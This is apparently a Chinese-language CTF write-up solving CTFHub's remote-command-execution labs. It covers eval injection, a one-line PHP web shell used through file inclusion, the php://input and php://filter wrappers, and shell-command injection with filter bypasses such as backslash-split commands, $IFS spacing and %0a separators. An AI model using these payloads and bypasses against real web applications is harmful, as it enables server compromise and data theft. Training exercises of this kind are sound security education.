CTFHub RCE解析
昨天大致學了一下命令執行,那我們今天開始實戰。在CTFHu裡練習一下
1.eval執行
我們先做一下eval執行吧。看見上面是一段php程式碼,如下:
先瀏覽一下目錄,看看有沒有沒關於flag的檔案,這樣我們就可以構造pyload
?cmd=system("ls ../../../"); //system()函式執行外部程式,並且顯示輸出
發現了flag_25103檔案,那我們看看裡的資料,構造pyload:
?cmd=system("cat ../../../flag_25103");
獲得flag
2.檔案包含
下面是檔案包含,來看一下里面的程式碼
看看下面還說了有一個shell.txt,how to use it 。shell裡面有一句話木馬<?php eval($_REQUEST['ctfhub']);?>,
那我們把這個一句話木馬傳給file變數。
pyload:?file=shell.txt //上傳一句話木馬
上傳之後,我們就可以進行操作了,還是先找一下有沒有關於flag的檔案,然後我們再獲取裡面的資料
ctfhub=system('ls ../../../');//查詢目錄
ctfhub=system('cat ../../../flag');//獲取資料
獲得flag
3.php://input
我們先來了解一下Php://input。
php://input是可以訪問請求的原始資料的只讀流。就是說可以執行post請求的內容。它是一種偽協議。
而要使用這個偽協議有兩個條件:1.allow_url_include是On;2.POST請求
好,我們來看程式碼
這次它有沒shell了。那我們從其他方面看看,上面程式碼說如果傳給file的值開頭不是php://就輸出Hacker!!!,如果是的話那就執行include函式。
題目php://input,我們從這方面入手,使用php://input
構造pyload
?file=php://input
然後我們抓一下包
應該是成功了,然後我們傳送post請求,構造pyload
一樣,找到flag檔案,獲取資料
3.遠端包含
此題與上題方法一樣,不再做過多解釋,一樣是使用php://input
4.讀取原始碼
我們先說一下php://filter,這個也是偽協議的一種。是一種元封裝器, 設計用於資料流開啟時的篩選過濾應用。下面是一些引數
我們還看一下原始碼
這次它直接告訴了你flag在哪裡了。那下一步我們直接讀取就行了。利用php://filter構造pyload
?filte=php://filter/read=convert.base64-encode/resource=/flag
//以base64編碼顯示
得到Y3RmaHViezY2NDg3MGEwZjM1OTU1YzE2MzQ4ZGFjOX0K,然後再解碼即可
5.命令注入
這告訴我們什麼都沒過濾,那就直接幹吧
先來
127.0.0.0|ls //檢視目錄
第一個php檔案有點可疑,那我們先搞搞它吧,
127.0.0.1|cat 150962426819160.php
啥都沒有,那檢視原始碼
6.過濾cat
這次是過濾了cat,不過,不用擔心,還是很簡單的
我們可以進行繞過,而這樣的方法有很多種,在這裡我使用了反斜槓,
我們先來把flag檔案找到
127.0.0.1|ls
然後獲取資料
127.0.0.1|c\at flag_39251349022334.php
得到flag
7.過濾空格
關於過濾空格呢,也是可以繞過的
我們可以使用以下方法進行繞過
<
<>
${IFS}
$IFS$9
%09
{cat,flag}
%20
然後其他操作與以上是一樣的
127.0.0.1|ls
然後進行繞過
127.0.0.1|cat$IFS$9flag_271841403229806.php
獲得flag
8.過濾目錄分隔符
這個是過濾了目錄分隔符“/”
首先我們先還是老樣子
127.0.0.1|ls
127.0.0.1|cd flag_is_here;ls
然後我們再用
127.0.0.1|cd flag_is_here;cat flag_3426334812644.php //轉到flag_is_there裡面,並獲取裡面的資料
得到flag
9.過濾運算子
這個過濾了運算子|、||、&、&&。可是還有一個;運算子。可以利用它進行注入,用法與|一樣,這裡不再進行過多解釋
10.綜合過濾練習
看樣子是將之前的過濾綜合到了一起。
那我們開始了,先檢視目錄
?ip=127.0.0.1%0als
若所有運算子都被過濾,那我們可以使用%0a來代替
然後進一步檢視flag_is_here
?ip=127.0.0.1%0Als$IFS$9f\lag_is_here
然後獲取資料
?ip=127.0.0.1%0Acd$IFS$9f\lag_is_here%0Ac\at$IFS$9fla\g_272101055320691.php
成功!!!